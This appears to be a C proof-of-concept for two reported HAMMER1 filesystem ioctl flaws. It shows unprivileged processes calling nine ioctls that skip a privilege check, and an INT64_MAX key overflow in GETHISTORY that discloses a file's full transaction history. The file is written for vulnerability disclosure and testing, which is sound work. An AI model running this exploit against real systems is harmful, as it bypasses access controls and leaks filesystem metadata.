/*
 * DF-3112 / DF-3114 PoC — HAMMER1 ioctl layer (sys/vfs/hammer/hammer_ioctl.c)
 *
 * DF-3112: hammer_ioctl() computes caps_priv_check(SYSCAP_NOVFS_IOCTL) once at
 *          line 72, but 9 case labels overwrite `error' with the handler's
 *          return value without honoring the gate: GETHISTORY, SYNCTID,
 *          GET_PSEUDOFS, GET_VERSION, GET_INFO, LIST_VOLUMES, GET_SNAPSHOT,
 *          GET_CONFIG, SCAN_PSEUDOFS.  An unprivileged user with any open fd
 *          on a HAMMER1 mount executes them.
 *          Tests [A]-[E] demonstrate the bypass; [F]/[G] show gated commands
 *          correctly returning EPERM from the same dispatcher.
 *
 * DF-3114: hammer_ioc_gethistory() ATKEY path for HAMMER_OBJTYPE_REGFILE does
 *          `++cursor.key_beg.key' (hammer_ioctl.c:354) with only a prior
 *          `key > nxt_key' validation.  key = nxt_key = INT64_MAX passes
 *          validation and the increment overflows int64 -> INT64_MIN
 *          (signed overflow, UB; wraps in practice), so the btree scan starts
 *          at the very first record of the file and discloses the file's full
 *          TID history instead of returning nothing / EINVAL.
 *          Test [H] demonstrates the wrap.
 *
 * Build: cc -I/usr/src/sys -o hammer_gate_poc hammer_gate_poc.c
 * Run:   ./hammer_gate_poc /mnt/h1/histfile     (runs as root, drops to nobody)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <vfs/hammer/hammer_ioctl.h>

#define NOBODY 65534

static int fd;

static void drop(void)
{
	if (geteuid() == 0) {
		if (setgid(NOBODY) < 0 || setuid(NOBODY) < 0) {
			perror("setgid/setuid");
			exit(1);
		}
	}
	printf("[*] privileges: uid=%d euid=%d (unprivileged)\n",
	       getuid(), geteuid());
}

/* ---- DF-3112: the ungated command family ------------------------------- */

static void t_gethistory_plain(void)
{
	struct hammer_ioc_history h;
	int r;

	memset(&h, 0, sizeof(h));
	h.beg_tid = 1;
	h.end_tid = HAMMER_MAX_TID;
	r = ioctl(fd, HAMMERIOC_GETHISTORY, &h);
	printf("[A] GETHISTORY (plain)      -> rc=%d errno=%d entries=%d %s\n",
	       r, (r < 0) ? errno : 0, h.count,
	       (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied");
}

static void t_getversion(void)
{
	struct hammer_ioc_version v;
	int r;

	memset(&v, 0, sizeof(v));
	v.cur_version = 0;
	r = ioctl(fd, HAMMERIOC_GET_VERSION, &v);
	printf("[B] GET_VERSION             -> rc=%d errno=%d ver=%u '%s' %s\n",
	       r, (r < 0) ? errno : 0, v.cur_version, v.description,
	       (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied");
}

static void t_getinfo(void)
{
	struct hammer_ioc_info i;
	int r;

	memset(&i, 0, sizeof(i));
	r = ioctl(fd, HAMMERIOC_GET_INFO, &i);
	printf("[C] GET_INFO                -> rc=%d errno=%d label='%s' rootvol=%d %s\n",
	       r, (r < 0) ? errno : 0, i.vol_label, i.rootvol,
	       (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied");
}

static void t_synctid(void)
{
	struct hammer_ioc_synctid s;
	int r;

	memset(&s, 0, sizeof(s));
	s.op = HAMMER_SYNCTID_NONE;
	r = ioctl(fd, HAMMERIOC_SYNCTID, &s);
	printf("[D] SYNCTID (op=NONE)       -> rc=%d errno=%d tid=0x%016jx %s\n",
	       r, (r < 0) ? errno : 0, (uintmax_t)s.tid,
	       (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied");
}

static void t_scanpseudofs(void)
{
	struct hammer_ioc_pseudofs_rw p;
	int r;

	memset(&p, 0, sizeof(p));
	p.pfs_id = 0;
	p.bytes = sizeof(struct hammer_pseudofs_data);
	p.ondisk = NULL;	/* no copyout; prove command executes */
	r = ioctl(fd, HAMMERIOC_SCAN_PSEUDOFS, &p);
	printf("[E] SCAN_PSEUDOFS (pfs 0)   -> rc=%d errno=%d pfs_id=%u bytes=%u %s\n",
	       r, (r < 0) ? errno : 0, p.pfs_id, p.bytes,
	       (r == 0) ? "*** PRIV GATE BYPASSED ***" : "denied");
}

/* ---- gated contrast commands -------------------------------------------- */

static void t_prune(void)
{
	struct hammer_ioc_prune pr;
	int r;

	memset(&pr, 0, sizeof(pr));
	pr.nelms = 0;
	r = ioctl(fd, HAMMERIOC_PRUNE, &pr);
	printf("[F] PRUNE (gated contrast)  -> rc=%d errno=%d %s\n",
	       r, (r < 0) ? errno : 0,
	       (r < 0 && errno == EPERM) ? "correctly denied (EPERM)" : "NOT DENIED?!");
}

static void t_addsnap(void)
{
	struct hammer_ioc_snapshot s;
	int r;

	memset(&s, 0, sizeof(s));
	s.count = 0;
	s.index = 0;
	r = ioctl(fd, HAMMERIOC_ADD_SNAPSHOT, &s);
	printf("[G] ADD_SNAPSHOT (contrast) -> rc=%d errno=%d %s\n",
	       r, (r < 0) ? errno : 0,
	       (r < 0 && errno == EPERM) ? "correctly denied (EPERM)" : "NOT DENIED?!");
}

/* ---- DF-3114: ATKEY signed overflow at INT64_MAX ------------------------ */

static void t_history_maxkey(void)
{
	struct hammer_ioc_history h;
	int r, i;

	memset(&h, 0, sizeof(h));
	h.beg_tid = 1;
	h.end_tid = HAMMER_MAX_TID;
	h.head.flags = HAMMER_IOC_HISTORY_ATKEY;
	h.key = HAMMER_MAX_KEY;		/* 0x7fffffffffffffff */
	h.nxt_key = HAMMER_MAX_KEY;	/* passes key<=nxt_key validation */
	r = ioctl(fd, HAMMERIOC_GETHISTORY, &h);
	printf("[H] GETHISTORY ATKEY key=INT64_MAX -> rc=%d errno=%d entries=%d flags=0x%x %s\n",
	       r, (r < 0) ? errno : 0, h.count, h.head.flags,
	       (r == 0 && h.count > 0) ?
	       "*** INT64 OVERFLOW WRAP: full history disclosed (correct result: 0 entries / EINVAL) ***" :
	       ((r == 0) ? "no entries (correct behavior)" : "error"));
	if (r == 0)
		for (i = 0; i < h.count; i++)
			printf("      tid[%d]=%016jx\n", i, (uintmax_t)h.hist_ary[i].tid);
}

int main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr, "usage: %s <file-on-hammer1> [keep]\n", argv[0]);
		return (2);
	}
	fd = open(argv[1], O_RDONLY);
	if (fd < 0) {
		perror("open");
		return (1);
	}
	printf("[*] opened %s fd=%d\n", argv[1], fd);
	if (argc < 3 || strcmp(argv[2], "keep") != 0)
		drop();
	t_gethistory_plain();
	t_getversion();
	t_getinfo();
	t_synctid();
	t_scanpseudofs();
	t_prune();
	t_addsnap();
	t_history_maxkey();
	return (0);
}
